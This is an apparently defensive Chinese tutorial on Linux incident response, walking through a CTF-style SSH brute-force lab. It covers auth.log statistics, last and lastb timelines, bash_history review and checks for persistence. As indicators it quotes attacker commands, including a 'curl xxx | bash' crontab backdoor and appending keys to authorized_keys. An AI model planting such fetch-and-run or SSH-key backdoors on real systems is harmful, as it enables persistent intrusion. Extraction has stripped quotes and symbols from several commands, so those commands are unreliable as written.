Linux应急响应日志分析实战：SSH爆破痕迹定位与入侵链路还原

1. 应急响应场景下的Linux日志分析整体思路1.1 为什么应急响应第一步永远是看日志干应急响应这行的人都有一个共识主机被入侵之后攻击者能清理掉的东西很多但日志往往是最难彻底抹干净的一环。哪怕对方用了各种痕迹清除工具系统里总有几个角落会留下蛛丝马迹——登录记录、命令历史、进程启动时间、文件修改时间戳这些东西交叉比对之后整个入侵链路就能大致还原出来。Linux日志分析在应急响应里的定位说白了就是从一堆看似正常的系统记录里把不正常的那几条揪出来。它不像流量分析那样需要抓包设备也不像样本分析那样需要逆向功底门槛相对低但要求你对Linux系统的日志体系有足够熟悉知道什么日志记什么、存在哪、格式长什么样。这次拿到的题目是玄机——第一章 应急响应-Linux日志分析从热搜词来看核心考点集中在SSH爆破这个方向上。SSH爆破是Linux服务器被入侵最常见的入口之一攻击者用字典对着22端口疯狂尝试一旦撞出弱口令后面就是提权、留后门、横向移动一条龙。所以这类题目的分析主线基本就是从认证日志里找到爆破源IP从登录记录里确认成功登录的时间点再从系统其他日志里追踪攻击者登录后干了什么。适合看这篇内容的人刚入行做安服、想转应急响应方向的朋友或者CTF里碰到日志分析题不知道怎么下手的选手。我会把每一步的操作命令、判断依据、容易踩的坑都写清楚你照着做基本能复现整个分析过程。1.2 Linux日志体系速览哪些文件是必看的在动手之前先把Linux里跟应急响应最相关的几个日志文件位置和用途理一遍。不同发行版路径略有差异但主流的位置就那么几个日志文件路径记录内容应急响应价值认证日志/var/log/auth.logDebian系登录认证、sudo、su等找爆破、找异常登录安全日志/var/log/secureRHEL系同上同上登录记录/var/log/wtmp所有成功登录确认登录时间线失败记录/var/log/btmp所有失败登录爆破痕迹重灾区最近登录/var/log/lastlog每个用户最后登录快速定位异常账户命令历史~/.bash_history用户执行过的命令还原攻击者操作系统日志/var/log/syslog 或 /var/log/messages系统级事件服务异常、计划任务计划任务/var/log/croncron执行记录找持久化后门注意wtmp、btmp、lastlog这三个是二进制文件不能直接用cat看得用last、lastb、lastlog命令来解析。很多人第一次做这类题就栽在这里cat出来一堆乱码还以为文件损坏了。另外要强调一点日志的完整性取决于系统配置。有些服务器rsyslog没开或者日志轮转策略太激进auth.log只保留几天那分析窗口就很窄。应急响应实战里如果发现关键日志缺失本身就是一个需要记录的可疑点——有可能是攻击者删了也有可能是运维配置问题要区分开。1.3 本次分析的核心目标拆解拿到SSH爆破这个关键词分析目标其实很明确可以拆成四个层次第一层确认是否存在爆破行为。看认证日志里有没有大量连续的Failed password记录来源IP是否集中。第二层确认爆破是否成功。在大量失败记录之后有没有出现Accepted password或者Accepted publickey如果有那个时间点和IP就是突破口。第三层还原成功登录后的操作。攻击者进来之后通常会看系统信息、尝试提权、下载工具、留后门这些动作会在命令历史、进程记录、文件时间戳里留下痕迹。第四层找出持久化机制。常见的有写crontab、改authorized_keys、加系统服务、改启动脚本这几个位置必须逐一排查。这四层做完一份完整的应急响应日志分析报告基本就成型了。下面我按这个逻辑把每一步的具体操作和判断方法展开讲。2. SSH爆破痕迹的定位与认证日志精读2.1 快速锁定爆破源IP的几条命令认证日志是SSH爆破分析的主战场。假设我们面对的是Debian/Ubuntu系的/var/log/auth.log第一步就是统计失败登录的来源IP分布grep Failed password /var/log/auth.log | awk {print $(NF-3)} | sort | uniq -c | sort -nr | head -20这条命令的逻辑是先筛出所有失败密码的记录然后用awk取倒数第4个字段这个位置通常是来源IP排序去重后按次数倒序排列取前20个。哪个IP出现的次数遥遥领先哪个就是爆破源。不过这里有个坑不同发行版、不同SSH版本的日志格式不完全一样。有的格式是Failed password for root from 192.168.1.100 port 54321 ssh2有的是Failed password for invalid user admin from 192.168.1.100 port 54321 ssh2字段位置会变。所以更稳妥的做法是用正则直接提取IPgrep Failed password /var/log/auth.log | grep -oE ([0-9]{1,3}\.){3}[0-9]{1,3} | sort | uniq -c | sort -nr | head -20这样不管格式怎么变只要IP在行里就能抓出来。实测下来这条命令在绝大多数场景下都能用。如果日志被轮转成了多个文件auth.log.1、auth.log.2.gz这种记得用zgrep处理压缩包zgrep Failed password /var/log/auth.log.*.gz | grep -oE ([0-9]{1,3}\.){3}[0-9]{1,3} | sort | uniq -c | sort -nr2.2 从失败到成功找到那个关键时间点确认了爆破源IP之后下一步就是看这个IP有没有爆破成功。命令很直接grep Accepted /var/log/auth.log | grep 192.168.1.100把IP换成你上一步找到的爆破源。如果这条命令有输出说明爆破成功了这就是入侵的起点。输出里会包含时间戳、用户名、来源IP、端口这几个信息都要记下来。有时候攻击者不会用同一个IP完成爆破和登录可能用了代理池或者跳板这时候就要换个思路先看所有Accepted记录再倒推哪些IP在成功登录前有大量失败记录。grep Accepted /var/log/auth.log把所有成功登录列出来然后对每个IP去查它的失败次数。正常运维的登录失败次数通常是0或者个位数爆破成功的失败次数往往是几百上千。这里还要注意区分Accepted password和Accepted publickey。前者是密码登录后者是密钥登录。如果系统本来只允许密钥登录突然出现Accepted password那基本可以确定是配置被改了或者有后门账户。2.3 用last和lastb还原完整登录时间线auth.log看的是认证过程wtmp和btmp看的是登录结果。这两个二进制文件用last和lastb来读last -f /var/log/wtmp | head -30 lastb -f /var/log/btmp | head -30last输出的是成功登录记录包含用户名、终端、来源IP、登录时间和登出时间。lastb输出的是失败登录记录。把这两个对照着看时间线就出来了。我一般会重点关注这几种情况非工作时间段的登录凌晨3点root登录大概率有问题来源IP异常内网服务器出现外网IP登录登录后立即登出可能是自动化工具在验证凭据同一IP短时间内大量失败后突然成功典型爆破特征lastlog命令也很有用它能一次性列出所有用户的最后登录时间lastlog那些从未登录Never logged in的服务账户突然有了登录记录或者某个长期不用的账户突然活跃都是危险信号。实操心得last和lastb的输出默认会做IP反解如果DNS配置有问题会卡很久。加个-i参数强制显示IP速度会快很多比如last -i -f /var/log/wtmp。2.4 认证日志里的其他可疑信号除了爆破auth.log里还能看出不少东西。比如sudo提权记录grep sudo /var/log/auth.log | grep -v session opened正常运维用sudo是有规律的如果某个账户突然频繁sudo或者执行了不常见的命令要警惕。su切换记录grep su: /var/log/auth.log攻击者拿到低权限账户后常用su尝试切换到root。新用户创建grep useradd\|adduser /var/log/auth.log有些攻击者会直接加一个自己的账户作为后门。SSH配置变更grep sshd /var/log/auth.log | grep -i config\|reload如果sshd被重新加载可能是攻击者改了配置允许root登录或者改了端口。这些信号不一定每次都出现但排查的时候都要过一遍宁可多看一眼不要漏掉线索。3. 登录后行为追踪命令历史与文件时间戳3.1 bash_history里藏着攻击者的操作剧本确认了攻击者成功登录的账户之后第一件事就是去看这个账户的命令历史cat /home/username/.bash_history如果是root账户cat /root/.bash_historybash_history默认只记录命令不记录时间戳。但如果在.bashrc里配置了HISTTIMEFORMAT那每条命令前面会有时间。没有时间戳的话就只能靠命令内容和顺序来推断。攻击者常用的命令套路我总结了一下看到这些基本就能确认是恶意操作whoami、id、uname -a踩点看自己是谁、系统什么版本cat /etc/passwd、cat /etc/shadow找账户信息wget、curl下载工具或脚本chmod x给下载的文件加执行权限./xxx运行恶意程序crontab -e、echo ... /etc/crontab留计划任务后门echo ... ~/.ssh/authorized_keys留SSH密钥后门history -c清除命令历史这条本身就是强信号注意bash_history是可以被篡改的。攻击者如果执行了history -c或者直接编辑了文件你看到的就是被清理过的。这时候要结合其他证据比如进程记录、文件时间戳来交叉验证。另外如果shell不是bash比如zsh、sh历史文件位置会变。zsh是~/.zsh_historysh可能不记录历史。排查的时候要确认目标账户用的是什么shell。3.2 用find按时间戳筛出被改动的文件攻击者登录之后大概率会动一些文件。Linux里每个文件都有三个时间戳atime最后访问时间mtime最后修改时间ctime最后状态变更时间权限、所有者变更等用find可以按时间范围筛选find / -newermt 2024-01-15 03:00 ! -newermt 2024-01-15 04:00 -type f 2/dev/null这条命令找出1月15日凌晨3点到4点之间被修改的所有文件。时间范围就填你从auth.log里确认的攻击者登录时间段。重点关注这几个目录/tmp、/dev/shm、/var/tmp临时目录攻击者最爱往这里丢东西/etc配置文件改这里通常是为了持久化/root、/home/*用户目录可能藏工具和脚本/usr/bin、/usr/sbin系统命令目录可能被替换成后门find /tmp /dev/shm /var/tmp -type f -newermt 2024-01-15 03:00 2/dev/null这条命令专门查临时目录里在攻击时间段内新增或修改的文件命中率很高。3.3 进程与服务层面的异常排查如果服务器还没重启可以直接看当前运行的进程ps aux --sort-%cpu | head -20 ps aux --sort-%mem | head -20按CPU和内存排序看有没有异常占用资源的进程。攻击者挖矿的话CPU会飙高跑扫描器的话网络连接会异常。看网络连接netstat -antp ss -antp重点关注LISTEN状态的端口和ESTABLISHED状态的连接。如果有个不认识的进程在监听高位端口或者有到陌生IP的长连接都要查。看开机自启服务systemctl list-unit-files --typeservice | grep enabled对比正常基线多出来的服务就是可疑项。检查crontabcrontab -l cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/攻击者留后门最常用的就是crontab因为简单、稳定、重启不丢。看到那种*/5 * * * * curl xxx | bash的条目基本可以实锤。3.4 文件完整性校验的实战用法如果系统里装了rpm或者dpkg可以用包管理器校验系统文件有没有被篡改rpm -Va或者dpkg -V输出里如果有5表示MD5校验失败或者S表示文件大小变化说明这个文件被改过。重点看/bin、/sbin、/usr/bin、/usr/sbin下的可执行文件这些被替换成后门的话危害极大。没有包管理器的话可以手动比对关键文件的哈希值。比如把/bin/ls的哈希跟另一台同版本系统的对比不一致就说明有问题。实操心得rpm -Va的输出会非常多因为很多配置文件本来就会被正常修改。建议先过滤掉/etc下的配置文件只看二进制文件rpm -Va | grep -E ^..5.*/bin/|^..5.*/sbin/。这样命中率更高。4. 持久化机制排查与常见问题速查4.1 SSH后门的三条主要路径SSH是攻击者最喜欢的持久化入口因为它稳定、隐蔽、不需要额外开端口。主要留后门的方式有三种第一种写authorized_keys。攻击者把自己的公钥写进目标账户的~/.ssh/authorized_keys之后就能免密登录。cat /root/.ssh/authorized_keys cat /home/*/.ssh/authorized_keys看有没有不认识的公钥。正常运维的密钥通常有注释比如userhostname攻击者的密钥注释可能是空的或者随便写的。第二种改sshd_config。比如把PermitRootLogin改成yes或者把AuthorizedKeysFile指向一个隐蔽路径。grep -v ^# /etc/ssh/sshd_config | grep -v ^$把注释和空行去掉看实际生效的配置。第三种加系统账户。直接创建一个UID为0的账户或者给现有账户设置密码。awk -F: $30 {print $1} /etc/passwd这条命令列出所有UID为0的账户正常只有root一个多出来的就是后门。grep -v nologin\|false /etc/passwd这条列出所有能登录shell的账户对比正常基线多出来的要查。4.2 计划任务与启动脚本的排查清单crontab排查要覆盖所有位置位置命令说明当前用户crontab -l当前登录用户的任务指定用户crontab -u username -l其他用户的任务系统级cat /etc/crontab系统主配置系统级目录ls -la /etc/cron.d/独立任务文件周期目录ls -la /etc/cron.{hourly,daily,weekly,monthly}/周期执行脚本用户目录ls -la /var/spool/cron/crontabs/所有用户任务存储启动脚本也要看cat /etc/rc.local ls -la /etc/init.d/ ls -la /etc/profile.d//etc/profile.d/下的脚本会在每次登录时执行攻击者有时候会往这里塞东西。systemd服务也是重灾区ls -la /etc/systemd/system/ systemctl list-units --typeservice --staterunning对比正常服务列表多出来的要重点查。4.3 常见问题速查表问题现象可能原因排查命令auth.log里没有Failed记录日志级别设置过高或rsyslog未运行grep sshd /etc/rsyslog.conflastb输出为空btmp文件权限问题或未记录ls -la /var/log/btmpbash_history为空被清理或shell不记录检查shell类型和HISTFILE变量find按时间筛不出东西时间格式不对或时区问题用date确认系统时间日志文件被删除攻击者清理痕迹检查文件句柄lsof进程看不到但端口在监听内核级后门或隐藏进程用ss -antp对比ps输出注意如果发现日志文件被删除但进程还在写可以用lsof | grep deleted找到被删除但仍被占用的文件然后从/proc/pid/fd/里把内容捞出来。这是应急响应里抢救日志的一个重要技巧。4.4 几个容易踩的坑和应对方法坑一只看auth.log不看wtmp。auth.log记录的是认证事件wtmp记录的是会话事件。有时候认证成功了但会话没建立比如被PAM策略拦截只看auth.log会误判。两个都要看交叉验证。坑二忽略时区问题。服务器可能用的是UTC你本地是CST差8小时。分析时间线的时候一定要先确认系统时区timedatectl或者date。不然时间对不上整个分析就乱了。坑三把正常运维操作当成攻击。有些自动化运维工具会定期SSH登录执行脚本也会产生大量登录记录。判断的时候要看命令内容正常运维通常是固定的几条命令攻击者的命令历史会更探索性。坑四忘记看隐藏文件。攻击者经常用.开头的文件名来隐藏工具比如.x、.cache。用ls -la而不是ls用find -name .*专门找隐藏文件。坑五只查当前系统不查挂载点。如果服务器有额外挂载的磁盘或者容器环境攻击者可能把后门藏在其他挂载点里。用mount和df -h确认所有挂载点逐一排查。5. 从日志到报告分析结论的整理与输出5.1 时间线还原的写法应急响应最终要输出一份能让人看懂的结论核心就是时间线。把关键事件按时间顺序列出来每个事件标注证据来源。格式大概是这样2024-01-15 02:30:15 爆破开始源IP 192.168.1.100 对root账户发起密码尝试 证据/var/log/auth.log 中连续Failed password记录 2024-01-15 02:45:33 爆破成功root账户被登录 证据/var/log/auth.log 中Accepted password记录 2024-01-15 02:46:01 攻击者执行whoami、id、uname -a 证据/root/.bash_history 2024-01-15 02:47:12 下载恶意脚本到/tmp 证据/tmp目录下文件mtime、bash_history中wget命令 2024-01-15 02:48:30 写入crontab持久化 证据/var/spool/cron/crontabs/root 文件内容时间线写清楚整个入侵过程就一目了然了。这份东西交给客户或者上级比一堆命令输出有说服力得多。5.2 证据链的完整性检查写报告之前回头检查一下证据链有没有断爆破源IP → 有没有对应的失败记录成功登录 → 有没有对应的Accepted记录登录后操作 → 有没有命令历史或文件时间戳佐证持久化 → 有没有找到具体的后门文件或配置每一环都要有至少一个证据支撑。如果某一环缺失要在报告里说明未发现相关证据或者证据已被清除而不是跳过不提。另外所有引用的日志片段都要保留原始格式不要自己重新排版。时间戳、IP、端口这些关键信息要原样呈现方便复核。5.3 处置建议的写法分析完之后通常还要给处置建议。这部分要具体、可操作不要写加强安全防护这种空话。比如立即封禁爆破源IPiptables -A INPUT -s 192.168.1.100 -j DROP删除攻击者添加的账户userdel -r username清理authorized_keys中的恶意公钥删除crontab中的恶意任务修改所有账户密码尤其是被登录过的账户检查并关闭不必要的对外端口如果确认系统被深度入侵建议重装系统而不是清理处置建议要按优先级排序先止血封IP、删后门再根治改密码、打补丁最后是加固改配置、上监控。5.4 我个人的几条实战体会做这类日志分析题目和实战我踩过的坑不算少分享几条我觉得最有用的第一条先备份再分析。拿到一台被入侵的机器第一件事是把日志和关键文件打包备份然后再动手分析。万一分析过程中不小心改了文件时间戳或者覆盖了日志原始证据就没了。备份命令很简单tar czf /tmp/evidence.tar.gz /var/log/ /root/.bash_history /etc/passwd /etc/crontab。第二条善用grep的组合拳。日志分析80%的工作是grep但单条grep往往不够。我常用的组合是grep -E加多个关键词比如grep -E Failed|Accepted|Invalid /var/log/auth.log一次把相关记录都捞出来。再配合awk和sort | uniq -c做统计效率比一条条看高得多。第三条不要忽略正常记录。有时候攻击者的操作混在大量正常记录里你只盯着异常看反而会漏。我的做法是先建立正常基线比如正常运维每天几点登录、执行什么命令然后找偏离基线的记录。这个方法在日志量大的时候特别管用。第四条时间戳是最好用的线索。文件时间戳、进程启动时间、日志时间这几个时间交叉比对能还原出很多命令历史里看不到的东西。尤其是攻击者清理了bash_history之后文件时间戳往往还能说话。第五条多问几个为什么。看到一个可疑文件不要只看它是什么还要问它是什么时候出现的谁创建的怎么创建的创建它的进程还在不在这几个问题追下去往往能挖出更多东西。日志分析这件事工具和命令是基础但真正拉开差距的是分析思路和对系统行为的理解。同样一份auth.log新手看到的是几千行文本老手看到的是一个完整的故事。多练、多看、多总结慢慢就有感觉了。